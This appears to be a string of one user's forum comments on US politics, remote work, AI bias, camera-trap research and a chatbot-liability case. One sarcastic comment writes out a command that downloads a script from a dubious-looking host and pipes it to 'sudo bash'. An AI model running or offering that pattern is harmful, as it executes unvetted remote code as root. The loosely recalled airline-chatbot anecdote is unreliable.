"My team will get to the bottom of how this clandestine network of clinics has subjected children to puberty blockers and irreversible surgery, often without parental consent,” he wrote in a statement.

Ffs, he makes it sound like toddlers are getting snatched off the streets to get "trans'ed".

Give me one fucking case anywhere in this state where a minor was given surgery without parental consent. Go ahead, I'll wait.

I started a new position in my company in February 2020, just weeks before the lock down. Since then I've been almost entirely working from home, coming into the office maybe 10 days over the past 4 years.

During that time I've been promoted, gotten a separate pay raise to a new band, helped onboard the entire rest of my team (two of whom are completely remote).

I've done nothing but prove over and over again that I am excelling at my job remotely.

They are still pushing for me to come back to a "hybrid" 3 day a week schedule. Madness.

Man, Trump has made his point - he convinced me! I'm not going to be voting for Biden in this election.

As god intended! /s

By all means, let's force people through the trauma of knowing their kid will only live at most 16-18 months and will probably bankrupt the family with medical bills.

The cruelty here is off the charts (as the gop intended).

This Mastodon thread was particularly enlightening on Musk's love affair with the "X" brand.

Nothing better than curl https://totally-legit-installer.com/script | sudo bash

Unfortunately, AI is only as good as it's training data. If there are biases in the training data, those biases shine through later.

AI is interesting but not a silver bullet.

Cripes. Why did anyone think this was necessary.

By all means, let's vote for the eloquent Trump instead. /S

At least Biden won't gaffe his way into outlawing BIPOC from existing or inspire domestic terrorism with his words.

Where an animal is camera trap shy or camera trap happy, detection probability is compromised and the assumptions of the method cannot be met. Even the study of animal behavior can be compromised if an animal exhibits atypical behavior (Gibeau and McTavish 2009). Attraction of certain species and individuals to our camera traps would confound assumptions of some other population estimators (Table S2) because the device effectively becomes a lure (Foster and Harmsen 2012).

https://www.ncbi.nlm.nih.gov/...

I gotchu fam.

Granted I don't know if it's the same kind of trap happy, but at least it's a phrase in one research paper.

What I don't get about the fundies that think IVF is against god's will - what about any other scientific breakthrough? What about antibiotics? Cars?

Hell, every time you fly you're effectively spitting in the face of the "Almighty".

I would be happy with just one loss that actually sticks.

I feel like all I read is, "Trump is really in trouble this time!" - but all I actually hear is Waylon Jennings saying, "Boy that Donald sure is in a heap ah trouble."

If he runs again and loses, I'm not confident that we still won't be fucked. The flat out refusal to recognize losing at all levels will start one hell of a wave of stochastic terrorism.

But on the other hand, if we don't do that, we can have a whole new level of industrial espionage where Hyundai targets Toyota vehicles to make them seem less safe and take over a wider market share.

For those not familiar, this is a fairly good explanation of SMART goals.

https://youtube.com/...

I'm fairly certain something like that has already happened with Canadian Airlines. A person asked about bereavement travel and the AI chat bot claimed one thing and the company refused to honor it. IIRC, the court said the company had to abide by what the chatbot said.

Ah, but see, it is cruel. So in the conservative mind it's okay.

It doesn't matter. He can hold off on liquidation until November and if he wins, (which would mean there's a strong chance the Senate flips), have his cronies pass a, " lol god emperors don't pay for summary judgements" bill.

I'm not going to down vote you - some people do like the social experience at work. I just respectfully disagree. I'm at work to make money and to keep my skills sharp - I don't (and have never really) enjoy hanging out with coworkers outside of the normal work related areas.

As a mostly introverted person, work from home has been a godsend. I can focus on communicating with my manager and coworkers in ways that are more comfortable for me - and thus result in a more positive experience for everyone.

Plus the amount of work I get done at home is easily double what I was doing when working from the office 5 days a week.